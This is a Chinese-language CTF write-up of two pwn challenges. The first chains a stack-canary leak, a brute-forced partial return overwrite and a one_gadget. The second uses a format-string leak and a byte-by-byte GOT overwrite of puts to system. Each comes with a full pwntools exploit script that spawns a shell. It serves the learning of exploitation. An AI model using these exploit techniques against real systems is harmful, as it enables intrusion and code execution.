题目一:
read_note:
一波分析:
这里开了栈溢出保护,堆栈不可执行,然后还有内存地址随机化,只有got还可以写,适应了就好~
动态链接,库是libc.so.6,可以得到,再去看看ida吧:
这里程序大概的流程也出来了,就是让你输入路径(字符串长度为5其实根本不可能),然后能打开该路径下的文件(就是个幌子,没用的),跳过,输入的字符长度大于5,就false,继续执行程序,要写note的大小note_length,还有note的内容,内容在thinking_note这里,会被输出来,然后如果内容的长度不为624,就会报错,重新输入,且输入的位置一样,我们可以去看看栈的分布情况:
这里我们发现了canary(var_8),由于read函数后面有puts函数,这里就可以leak出canary了从而实现栈溢出了,但是很遗憾的是只能溢出到ret,也就是exp:padding + canary + ebp + ret,这样基本不太可能getshell了,盲区了,有些慌,开始的想法是栈迁移,但是实操了发现还是不行,这里卡了挺久的,上网找资料一条语句能getshell的,找了半天,终于找到了!one_gadget,只要知道基地址,加上在libc库中的偏移,即可一条语句getshell,这里附上大佬写的博客:http://p4nda.top/2018/03/03/question/
思路整理:
1、通过puts函数泄露出canary
2、通过覆盖后4位去调用函数vul,绕过内存地址随机化
3、通过puts函数泄露出libc_main_start的真实地址
4、利用one_gadget直接getshell
我们一步一步来:
首先泄露出canary:
我通过覆盖canary的低位为\x01,成功把\x0a截断符去掉了,提取出来再加上\x00即可,第一步成功。
第二步:返回到我们的vul函数:\xA0\X0A(这里爆破法,如果不行就重开,直到行为止)
成功以后,我们就直接可以用\xA0\X0A了,下一步,继续,可以看到我们写的payload在栈中的分布了
ret的最后4位是0aa0,就是重新调用vul函数,再调用一次后,就可以打印出libc_start_main+240的真实地址了:
这里泄露时,栈大小是0x268,我们直接填满,接着puts就会打印出ret的地址了,
这样我们知道了真实地址,但是还不是最终的真实地址,要减去240才是,这里需要细心!
接着找我们的one_gadget~
这里有4个可以用,都要测试下,因为有些不一定能用,这里我们亲测后选择第三个。
最后就是我们完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='amd64', os='linux')
local = 1 elf = ELF('./read_note') def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
while True: if local: p = process('./read_note') libc = elf.libc else: p = remote('',) libc = ELF('./')
p.recvuntil('Please input the note path:') p.send('a'*6) p.recvuntil(" please input the note len:") p.send('624') p.send('a'*600+'\x01\x01') p.recvuntil('\x01\x01') canary = '\x00' + p.recv()[:7] print hex(u64(canary)) payload = 'a'*600 payload += canary payload += 'aaaaaaaa' payload += '\xA0\x0A' p.send(payload) try: p.recv(timeout = 1) except EOFError: p.close() continue else: sleep(0.1) main_libc = libc.symbols["__libc_start_main"] p.send('a'*6) p.recvuntil(" please input the note len:") p.send('624') p.send('aaaaaaaa') payload = 'a'*600 payload += canary payload += 'aaaaaaaa' payload += '\xA0\x0A' p.send(payload) p.recvuntil('Please input the note path:') p.send('a'*6) p.recvuntil(" please input the note len:") p.send('624') p.send('a'*0x268) main_addr = u64(p.recvuntil('\x65\x72')[-9:-3].ljust(8,'\x00')) print hex(main_addr) base = main_addr - 240 - main_libc system = base + 0xf1147 payload = '' payload += 'a'*600 payload += canary payload += 'aaaaaaaa' payload += p64(system) p.send(payload) p.interactive()
|
总结下:
学习了canary泄露再栈溢出的操作,明白了内存地址随机化的爆破,知道了one_gadget的用法。
题目二:
repeat
首先checksec一波,然后查看下ida分析逻辑:
这里我们知道,只有堆栈不可执行的保护,开始以为有栈溢出可以搞一波,但是看到了read函数只读了0x50个字节,那么可以知道是没有栈溢出的,buf是0x60,看到了printf(&buf),很明显是格式化字符串漏洞,这里有循环输入,然后跳出的条件是v1=102,看看v1,v2的分布
这里可以知道v1后面就是v2,而v2是指向v1的地址的指针,这里往栈中去填a再覆盖是不可能的,因为0x50刚好到10那里,不可以往下了,只能通过任意地址写,那么就是写v2地址的内容,写入102个字节,就可以成功修改v1的值为102,那么即可退出循环,在此之前我们修改puts函数的got为system的got,当调用时写入/bin/sh即可getshell~
大题思路如下:
1、任意地址读泄露lib_start_main的真实地址,得到lib_base
2、通过lib_base得到system的真实地址
3、改写puts的got为system的真实地址(单字节写入,写4次,有循环不怕,没有则只能一次写入)
4、任意地址写修改v2地址里面的v1的值为102
5、输入/bin/sh就可getshell了
这是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.log_level='debug' local = 1 elf = ELF('./repeat') p = process('./repeat') libc = elf.libc p.recv() p.sendline("%31$p") main_addr = int(p.recvline(),16)-247 offset = main_addr -libc.symbols["__libc_start_main"] system_libc = libc.symbols['system'] system_addr = offset + system_libc puts_got = elf.got['puts'] print hex(system_addr)
payload_1 = p32(puts_got) payload_1 += '%' + str((system_addr&0xff)-4) + 'c%6$hhn'
p.sendline(payload_1) p.recv() payload_2 = p32(puts_got+1) payload_2 += '%' + str(((system_addr>>8)&0xff)-4) + 'c%6$hhn' p.sendline(payload_2) p.recv() payload_3 = p32(puts_got+2) payload_3 += '%' + str(((system_addr>>16)&0xff)-4) + 'c%6$hhn' p.sendline(payload_3) p.recv() payload_4 = p32(puts_got+3) payload_4 += '%' + str(((system_addr>>24)&0xff)-4) + 'c%6$hhn' p.sendline(payload_4) p.recv() payload_5 = '%102c' +'%27$n'
p.sendline(payload_5)
p.recv() p.send('/bin/sh\x00') p.interactive()
|
这里每右移4吞掉1位数,这样可以用0xff得到最低位的两个数。
检验下:
单字节地写入是最好的方式,不会报错,也不用检验输入完成。
这里是循环输入,所以可以用这种打法,如果只有一次printf的话,只能一次性全部写入~